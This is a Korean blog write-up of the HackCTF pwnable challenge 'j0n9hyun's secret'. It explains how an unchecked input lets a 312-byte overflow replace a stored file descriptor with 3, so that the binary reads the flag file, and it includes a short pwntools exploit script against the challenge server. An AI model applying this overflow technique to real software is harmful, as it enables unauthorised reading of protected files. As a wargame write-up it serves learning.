ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Pwnable] j0n9hyun's secret
    Wargame/HackCTF 2020. 1. 31. 20:03

     

    들어가며

    문제를 풀면서 바이너리가 참조하는 fd를 확인하는 명령어인 lsof를 처음으로 알았다.

    문제 자체는 쉬웠지만, 명령어 하나 얻어감으로써 뿌듯한 문제였다.

     

    문제해석

    binary를 실행시키면, 이름을 입력하라는 메세지가 뜬다.

    이름을 입력을 하면 그대로 종료되는데, 이때 같은 directory에 flag파일과 top_secret파일이 생성된다.

     

    두 파일을 수정하여 바이너리를 다시 실행시켜보니, top_secret파일을 binary가 읽는것 같았다.

    '어떤 것'을 조작하여 top_secret파일 대신에 flag파일을 읽어오는 것이 문제풀이에 핵심이라고 생각했다.

     

    gdb로 더 자세히 한번 봐보자.

    이 파일은 stripped이므로, 다음과 같은 방법을 사용하여 main함수로 접근해보자.

    출력함수에서 인자로 "input"을 사용하는데 objdump명령어로 해당 문자열의 주소를 참조하는 곳을 찾은 후, 그곳을 breakpoint로 잡아주었다.

     

    나눠서 살펴보자.

    첫번째 call출력함수로 보였고, 0x6cce98에는 4가 저장되어 있었다.

    인자는 0x4a1414("input name: ")이다.

    두번째 call입력함수였고, 0x6ccd60에 입력한 값을 저장하였다.

    이때, 입력값의 length check를 하지 않아 overflow가 발생할 수 있다.

    세번째 call복사함수였고, 0x6cce98에 들어있는 4라는 값이 첫번째 인자로 들어가는 것으로 보아,

    read(4, 0x6ccd6a, 0x12c) 라고 예상할 수 있다.

    실제로 0x6ccd6a에는 top_secret의 내용이 들어가 있었다.

     

    풀이

    우리는 0x6ccd60입력값을 저장하였다.

    flag의 fd는 3!

    그리고 3번째 call에서 0x6cce98의 값(fd)을 참조하여 read함수를 호출한다.

    그러므로, dummy*312+flag의 fd로 해주면 flag파일을 읽어서 0x6ccd6a에 저장할 것이다.

     

    exploit.py

    from pwn import *
    
    #r = process("./j0n9hyun_secret")
    r = remote("ctf.j0n9hyun.xyz", 3031)
    
    payload = ''
    payload += "A"*312
    payload += p64(3)
    
    r.sendlineafter(': ', payload)
    log.info("Flag: "+r.recv())

    'Wargame > HackCTF' 카테고리의 다른 글

    [Pwnable] pzshell  (0) 2020.01.31
    [Pwnable] Unexploitable #1, #2  (0) 2020.01.27
    [Pwnable] World Best Encryption Tool  (0) 2020.01.16
    [Misc] 탈옥  (0) 2020.01.16
    [Pwnable] Register  (0) 2020.01.16

    댓글

Designed by Tistory.